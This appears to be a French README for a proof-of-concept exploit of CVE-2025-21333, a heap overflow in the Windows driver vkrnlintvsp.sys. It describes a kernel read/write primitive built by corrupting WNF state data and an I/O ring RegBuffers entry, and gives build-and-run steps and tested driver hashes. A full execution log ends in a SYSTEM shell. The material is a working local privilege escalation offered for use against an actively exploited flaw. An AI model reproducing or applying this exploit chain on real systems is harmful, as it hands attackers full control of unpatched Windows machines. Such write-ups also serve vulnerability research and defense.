
Exploit POC pour le débordement de tampon basé sur le tas CVE-2025-21333. Il exploite les données d'état WNF et l'entrée I/O ring IOP_MC_BUFFER_ENTRY.
Preuve de concept exploitant CVE-2025-21333 dans vkrnlintvsp.sys (pas très fiable, voir la section Exigences et limites). Dans la section Références se trouvent des ressources très utiles pour ceux qui veulent jouer avec l'exploit.
Une analyse détaillée de la vulnérabilité et de l'exploit est disponible ici.
La vulnérabilité a été détectée comme étant activement exploitée par des acteurs malveillants.
Testé sur Windows 11 23h2.
Il peut également fonctionner sur Windows 11 24h2, mais je ne l'ai pas testé.
Ci-dessous les hashs de ntoskrnl.exe et vkrnlintvsp.sys qui ont été utilisés pour tester le POC.
PS C:\Windows\System32\drivers> get-filehash .\vkrnlintvsp.sys
Algorithm Hash Path
--------- ---- ----
SHA256 28948C65EF108AA5B43E3D10EE7EA7602AEBA0245305796A84B4F9DBDEDDDF77 C:\Windows\System32\drivers\v...
PS C:\Windows\System32\drivers>
PS C:\Windows\System32> Get-FileHash ntoskrnl.exe
Algorithm Hash Path
--------- ---- ----
SHA256 999C51D12CDF17A57054068D909E88E1587A9A715F15E0DE9E32F4AA4875C473 C:\Windows\System32\ntoskrnl.exe
PS C:\Windows\System32>
Elle n'utilise pas NtQuerySystemInformation pour fuiter des adresses noyau, ni PreviousMode pour obtenir une lecture/écriture arbitraire.
Au lieu de cela, elle alloue dans le Paged Pool un tableau de pointeurs vers _IOP_MC_BUFFER_ENTRY et écrase le premier pointeur avec un IOP_MC_BUFFER_ENTRY* malveillant situé dans l'espace utilisateur. En utilisant BuildIoRingWriteFile()/BuildIoRingReadFile(), il est possible d'obtenir une lecture/écriture arbitraire dans le noyau.
Le tableau de pointeurs vers _IOP_MC_BUFFER_ENTRY est un objet avec le PoolTag IrRB.
La technique diffère légèrement de celle documentée par Yarden Shafir ici. Au lieu de prendre le contrôle de l'intégralité du tableau pointé par _IORING_OBJECT.RegBuffers, la technique ne prend le contrôle que d'une seule entrée du tableau pointé par _IORING_OBJECT.RegBuffers.
Comme la taille du tableau de pointeurs est contrôlable par l'utilisateur, cela signifie qu'il peut être utilisé pour obtenir une lecture/écriture arbitraire fiable en ring0 à partir de dépassements de tas et d'UAF pour plusieurs buckets LFH.
Je ne sais pas si quelqu'un a déjà partagé cette technique pour exploiter des dépassements ou des UAF dans le paged pool.
Ces captures d'écran ont été prises après l'exécution du POC. Le dépassement concernait le bucket pour les objets de taille 0x50. À noter qu'il a été possible d'allouer un tableau RegBuffers dans ce bucket et que le premier pointeur pointe vers la mémoire de l'espace utilisateur.

À noter que l'entrée malveillante définit Address sur un objet processus. Address correspond à l'adresse arbitraire depuis laquelle/vers laquelle nous pouvons souhaiter lire/écrire (ceci est déjà bien décrit dans l'article de Yarden Shafir).

Il est nécessaire d'activer la fonctionnalité Windows Sandbox afin que les appels système vulnérables soient traités par le pilote vulnérable.

J'ai réussi à obtenir un dépassement de 0xfff0 octets. Je n'ai pas réussi à rendre la longueur du dépassement entièrement contrôlable. Vous pouvez observer un crash si le dépassement est plus grand que le sous-segment (cela peut arriver assez souvent). Peut-être qu'en sprayant davantage d'objets, il est possible de minimiser ce comportement.
Le POC libère 2 données d'état WNF pour réallouer à ces emplacements un regBuffer (un tableau de pointeurs vers _IOP_MC_BUFFER_ENTRY associé à un IORING_OBJECT) et un PipeAttribute. Parfois, entre la libération et la réallocation, il peut arriver qu'un autre objet soit alloué à cet emplacement par un autre pilote. Il serait possible d'utiliser d'autres objets de données d'état WNF corrompus dans une boucle while pour effectuer plusieurs tentatives de réallocation et augmenter la probabilité d'obtenir la disposition souhaitée.
Le code du POC est assez brouillon.
Après avoir obtenu les droits SYSTEM, il est préférable de quitter le shell system en tapant exit dans la console, sinon la machine plantera.
Compiler la version Release x64.
Exécuter et obtenir un shell system.
PS C:\Users\unpriv> .\CVE-2025-21333-POC.exe
Preparing...
[*] fNtCreateCrossVmEvent = 00007FFD6BC31690
[*] fNtQueryInformationProcess = 00007FFD6BC304E0
[!] WindowsSandboxClient.exe process not found
[*] spawning windows sandbox
[*] CreateProcessA returned successfully
[*] NtQueryInformationProcess returned successfully
[*] peb_addr = 0000000100335000
[*] ReadProcessMemory returned successfully
[*] ProcessParameters = 00000147B06A6430
[*] ReadProcessMemory returned successfully
[*] CommandLine = 00000147B06A6ADA
[*] CommandLine_size = 3f0
[*] commandline = C:\Windows\system32\WindowsSandboxClient.exe <ContainerId>19a1ef14-ee35-47d8-8bdb-cf4c86272272</ContainerId><AccountUser>WDAGUtilityAccount</AccountUser><AccountPassword>66387310-a27d-4a59-a688-3ab018388c9e</AccountPassword><AudioInputEnabled>true</AudioInputEnabled><ClipboardRedirectionEnabled>true</ClipboardRedirectionEnabled><RebootSupported>true</RebootSupported><SmartCardRedirectionEnabled>false</SmartCardRedirectionEnabled><FullScreenMode>false</FullScreenMode><TargetDisplay>0</TargetDisplay>
[*] extracted guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
[*] s_guid = 19a1ef14-ee35-47d8-8bdb-cf4c86272272
Created GUID
extracted guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r
guid
0x000000: 14 ef a1 19 35 ee d8 47 8b db cf 4c 86 27 22 72 ....5..G...L.'"r
Triggering vuln creating crossvmevent...
max corrupted WNF
state: a18d294541c64e6d val: 0 dataSize: 10040
calling NtqueryWnfStateData on max_corrupted with max_corrupted->state a18d2945a18d2945 and datasize10040
buffer content
[+] found WNF to be freed and replaced with RegBuffers
offset 30
[+] found WNF to be freed and replaced with PipeAttribute
offset2 80
updating regBuffersControllerWNF
calling NtUpdateWnfStateData on tokenReaderWNF->state a18d2945a18d2945 and datasize10040
calling NtUpdateWnfStateData returned successfully
[*] retrieving WNF with content 0x4343434343434343
[*] retrieving WNF with content 0x4444444444444444
searching in statenames2
found corrupted WNF: a18d514541c64e6dval: 4343434343434343
found corrupted WNF: a18d614541c64e6dval: 4444444444444444
found1 1 found2 1
found1 1 found2 1
found1 1 found2 1
0x000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000030: 00 00 05 0b 49 72 52 42 64 b9 76 d3 e4 ff d1 c6 ....IrRBd.v.....
0x000040: a0 a1 b1 f1 09 e3 ff ff 00 00 00 00 00 00 00 00 ................
0x000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000080: 00 00 05 03 4e 70 41 74 00 00 00 00 00 00 00 00 ....NpAt........
0x000090: d0 01 2b 47 0a d1 ff ff d0 01 2b 47 0a d1 ff ff ..+G......+G....
0x0000a0: 38 81 2a 4d 0a d1 ff ff 16 00 00 00 00 00 00 00 8.*M............
0x0000b0: 3a 81 2a 4d 0a d1 ff ff 5a 00 41 41 41 41 41 41 :.*M....Z.AAAAAA
0x0000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0x0000d0: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB
0x0000e0: 00 00 00 00 50 ff 00 00 50 ff 00 00 01 00 00 00 ....P...P.......
0x0000f0: 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x000120: 00 00 05 03 57 6e 66 20 42 42 42 42 42 42 42 42 ....Wnf BBBBBBBB
0x000130: 00 00 00 00 00 ff 00 00 00 ff 00 00 01 00 00 00 ................
0x000140: 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[+] regBuffers found and can be overwritten
[+] pipeAttribute found and can be read
[*] original_regBufferEntry: ffffe309f1b1a1a0
[*] pipeAttributeFlink: ffffd10a472b01d0
[+] found target handle
[*] targetHandle: 00000211216BC4D0
[*] ioring index: 425
[*] fileObject: ffffe309f134d7e0
[*] base of npfs.sys: fffff80631660000
[*] base of ntoskrnl.exe: fffff80628c00000
[*] system EPROCESS: ffffe309ea4c2040
[*] system TOKEN: ffffd10a3a246040
[*] curpid: 21c8
Microsoft Windows [Version 10.0.22631.4460]
(c) Microsoft Corporation. All rights reserved.
C:\Users\unpriv>whoami
nt authority\system
C:\Users\unpriv>exit
calling NtUpdateWnfStateData returned successfully
PS C:\Users\unpriv>